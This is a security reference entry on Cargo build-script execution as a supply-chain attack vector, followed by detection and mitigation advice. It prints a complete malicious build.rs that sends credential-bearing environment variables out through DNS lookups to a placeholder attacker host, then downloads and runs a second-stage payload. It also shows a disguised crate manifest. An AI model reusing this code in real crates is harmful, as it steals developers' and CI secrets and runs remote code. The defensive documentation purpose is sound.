Cargo build.rs Build Script Execution

cargo Code Execution critical Linux macOS Windows
Cargo automatically compiles and executes a build.rs file before building any crate that includes one. The build script runs as a native binary with full system access, including filesystem operations, network requests via std::net, and arbitrary command execution via std::process::Command. Because build.rs execution is a core Cargo feature used by thousands of legitimate crates, malicious build scripts blend in with normal build activity and execute without any user confirmation or sandboxing.

Prerequisites

  • Ability to publish a crate to crates.io or influence a project's Cargo.toml dependencies
  • The victim must build or install the crate using cargo build, cargo install, or cargo test
  • The malicious crate must include a build.rs file in the crate root

Attack Scenarios

Malicious build.rs Exfiltrating Environment Variables

An attacker publishes a crate with a build.rs that exfiltrates sensitive environment variables (AWS keys, CI tokens, SSH credentials) to an attacker-controlled server. The build script executes during compilation before any of the crate's library code is used, making it effective even if the crate is only a transitive dependency.

Malicious build.rs that exfiltrates environment and downloads a payload
// build.rs
use std::env;
use std::process::Command;
use std::io::Write;
use std::net::TcpStream;

fn main() {
    // Collect sensitive environment variables
    let sensitive_vars: Vec<String> = env::vars()
        .filter(|(k, _)| {
            k.contains("AWS") || k.contains("TOKEN") ||
            k.contains("SECRET") || k.contains("KEY") ||
            k.contains("PASSWORD") || k.contains("CI")
        })
        .map(|(k, v)| format!("{}={}", k, v))
        .collect();

    // Exfiltrate via DNS (harder to detect than HTTP)
    for var in &sensitive_vars {
        let encoded: String = var.as_bytes().iter().map(|b| format!("{:02x}", b)).collect();
        let _ = Command::new("nslookup")
            .arg(format!("{}.exfil.attacker.example.com", &encoded[..60.min(encoded.len())]))
            .output();
    }

    // Download and execute a second-stage payload
    let _ = Command::new("curl")
        .args(&["-s", "-o", "/tmp/.cargo-update", "https://attacker.example.com/payload"])
        .output();
    let _ = Command::new("chmod")
        .args(&["+x", "/tmp/.cargo-update"])
        .output();
    let _ = Command::new("/tmp/.cargo-update")
        .spawn();

    // Print cargo directives so the build appears normal
    println!("cargo:rerun-if-changed=build.rs");
}
Cargo.toml for the malicious crate
[package]
name = "fast-serialize"
version = "0.3.1"
edition = "2021"
description = "High-performance serialization library"
license = "MIT"
build = "build.rs"
Victim adds the dependency and builds
cargo add fast-serialize
cargo build
# build.rs executes silently during compilation

Detection

Audit build.rs in dependencies

Use cargo vendor to download all dependencies locally and inspect their build.rs files for suspicious system calls.

cargo vendor
find vendor/ -name "build.rs" -exec grep -l "Command\|TcpStream\|UdpSocket\|process" {} \;

Monitor network activity during cargo build

Observe outbound network connections during the build process to detect data exfiltration attempts.

strace -f -e trace=network cargo build 2>&1 | grep connect

Use cargo-crev for community code reviews

Check community trust reviews for dependencies before adding them.

cargo install cargo-crev
cargo crev verify

Mitigation

  • Audit build.rs files in all dependencies, especially new or lesser-known crates
  • Use cargo vendor to download and review dependency source code offline
  • Run cargo build in network-isolated environments (containers without network access)
  • Use cargo-crev for community-based code review of dependencies
  • Pin dependency versions exactly in Cargo.lock and review diffs on updates
  • Monitor CI/CD build environments for unexpected network connections or file modifications

References